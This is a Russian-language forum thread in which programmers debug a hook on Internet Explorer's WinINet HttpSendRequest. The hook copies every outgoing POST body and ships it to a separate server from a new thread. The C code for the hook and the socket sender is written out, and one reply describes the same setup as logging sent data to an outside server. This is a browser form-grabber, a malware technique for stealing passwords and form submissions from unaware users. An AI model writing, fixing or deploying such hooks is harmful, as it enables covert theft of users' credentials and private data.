Добрый! Столкнулся со странной проблемой, теоретически я как понимаю так не должно происходить... Короче, перехватываются wininet АПИ, из HttpSendRequest запускается поток мой, но судя по всему он не успевает отработать? Такое возможно ? То есть когда АПИ возвращает результат, мой поток грохается в неожиданных местах! Память выделяю через хип и передаю потоку нужные данные, только через динамические буферы... Хотя че странно, если в потоке просто сделать while(1) { Sleep(1000); DbgLog("thread"); } То поток живой.. Еще особенность, поток дохнет когда редирект на странице идет! Но я считаю это из за того, что wininet отрабатывает быстрее в этом случае, тк данных читать по минимуму нужно и сразу же делает другие вызовы.. Кто нибудь сталкивался с подобным ? Что посоветуете ? Отладчиками пользоватся не умею через оли глядел, нашел то место, где кирдык потоку приходит, но не понял ни шиша Хотя бы ответьте, ( теоретически, если АПИ вызываются потоком созданным самим iexplorer ) если я из одного потока ( не главного ) создаю свой, затем родительский завершается, мой то же завершится или же потоки зависимы только от одного главного потока ?
поток существует, пока существует процесс, неважно откуда он создан (ну только если его не прибили насильственно TerminateThread). а ты уверен что буферы не были удалены пока твой поток отработал? дай код треда, так трудно сказать в чем проблема
скорее всего бага в реализации, я пробовал создавать в похуканом HttpSendRequest поток, который логирует на левый сервак отправляемые данные (выделяю память с помошью VirtualAlloc, копирую данные в неё, передаю аддрес потоковой ф-ции и освобождаю в её конце) - всё работает так что код в студию
Вот и я про то ! Я уж решил, что вся моя теория к чертям собачим Но все логично и просто, на сто раз проверял код, переписывал по другому и тп... Почему же, если после некоторых операций в функции с потоком сделать слип на 5 секунд, то все на отлично отрабатывает ? Данные доинициализировались что ли ? Вот код создания потока в функции HttpSendRequest Код (Text): if(lpOptional != NULL && dwOptionalLen > 5) { P_DATA pData = (P_DATA)xmalloc(sizeof(_DATA)); if(pData != NULL) { pData->lpszData = (char *)xmalloc(dwOptionalLen+1); if(pData->lpszData != NULL) { pData->dwLen = dwOptionalLen; CopyMemory(pData->lpszData, (char *)lpOptional, dwOptionalLen); CreateThread(NULL, 0, Register, pData, 0, &dwThread); } } } res = HttpSendRequestA( hRequest, lpszHeaders, dwHeadersLenght, lpOptional, dwOptionalLen ); макросы: Код (Text): #define xmalloc(s) HeapAlloc ( GetProcessHeap(), HEAP_ZERO_MEMORY|HEAP_GENERATE_EXCEPTIONS,(s)) #define xfree(p) HeapFree ( GetProcessHeap(), 0,(p)) #define xrealloc(p, s) HeapReAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY|HEAP_GENERATE_EXCEPTIONS, (p), (s)) после всех операций в потоке освобождаю память: Код (Text): xfree(pData->lpszData); xfree(pData); но до этого даже дело не доходит ессно...
Все перепроверил, и оказалось, что он тупо виснет на recv при отправке POST на сервер в моем потоке.. От чего бы это могло зависеть ? Быть может помогли бы ассинхроные сокеты, но не охото связыватся Код (Text): DWORD SendPost(LPSTR szHost, LPSTR szQueryStr, LPSTR lpszBuffer, DWORD dwBufSize, DWORD dwDataSize) { struct sockaddr_in addr; DWORD dwRes = 0; DWORD dwTotalRecv = 0; char szRecvBuf[2056]; //Sleep(5000); HOSTENT *host = gethostbyname(szHost); if(host) { ZeroMemory(&addr, sizeof(struct sockaddr_in)); addr.sin_addr.s_addr = *((unsigned long *) host->h_addr); addr.sin_port = htons( 80 ); addr.sin_family = AF_INET; } else { DbgLog("gethostbyname error: %d", WSAGetLastError()); return -1; } SOCKET s = socket(AF_INET, SOCK_STREAM, 0); if(s == INVALID_SOCKET) return -1; if(connect(s, (struct sockaddr *)&addr, sizeof(addr)) == SOCKET_ERROR) { DbgLog("connect error: %d", WSAGetLastError()); return -1; } ZeroMemory(szRecvBuf, sizeof(szRecvBuf)); wsprintf(szRecvBuf, szHeaders, szQueryStr, szHost, dwDataSize+4); dwRes = send(s, szRecvBuf, lstrlen( szRecvBuf ), 0); if(dwRes == -1) { DbgLog("send error: %d", WSAGetLastError()); return -1; } dwRes = send(s, lpszBuffer, dwDataSize, 0); if(dwRes == -1) { DbgLog("send error: %d", WSAGetLastError()); return -1; } send(s, "\xD\xA\xD\xA", 4, 0); ZeroMemory(lpszBuffer, dwBufSize); ZeroMemory(szRecvBuf, sizeof(szRecvBuf)); while(1) { // на этом цикле и застреваем... dwRes = recv(s, szRecvBuf, sizeof( szRecvBuf ) - 1, 0); if(dwRes != SOCKET_ERROR && dwTotalRecv+dwRes < dwBufSize) { lstrcat(lpszBuffer, szRecvBuf); dwTotalRecv += dwRes; } else break; } closesocket(s); return dwTotalRecv; }
Уже сделал на селектах, все нормально... Так почему, когда немного задержишься сам или возврат из АПИ замедлить, то и так хорошо отрабатывает.. recv все равно должна вернуть что то, а так такое ощущение, что ИЕ сам перекрывает все сокеты в какой то момент На самом деле хотелось бы разобратся в таком поведение..